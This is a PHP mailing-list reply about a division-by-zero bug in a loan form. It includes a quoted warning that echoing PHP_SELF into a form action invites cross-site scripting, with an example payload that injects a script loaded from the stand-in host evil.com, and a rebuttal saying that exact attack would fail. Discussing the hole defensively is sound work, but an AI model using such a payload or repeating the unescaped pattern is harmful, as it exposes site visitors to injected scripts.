Re: [PHP] Division by 0

[email protected] (Daniel Egeberg)
Newsgroups php.general
Message-ID <[email protected]>
On Wed, Mar 10, 2010 at 22:27, Jochem Maas <[email protected]> wrote:
> Op 3/10/10 6:23 PM, Joseph Thayne schreef:
>> Looks to me like you are closing your form before you put anything in
>> it.  Therefore, the loan_amount is not set making the value 0.  Follow
>> the math, and you are dividing by 1-1.
>>
>> Change this line:
>>
>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"></form>
>>
>> to:
>>
>> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
>
> this is a XSS waiting to happen. I can put something like the following in
> the request uri:
>
> index.php?" onsubmit="evil()"><script src="http://www.evil.com/evi.js"></script>
>
> with regard to the original problem - some input validation is in order.

PHP_SELF doesn't contain the query string, so your particular attack
wouldn't work. It's still a security issue though.

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Daniel Egeberg
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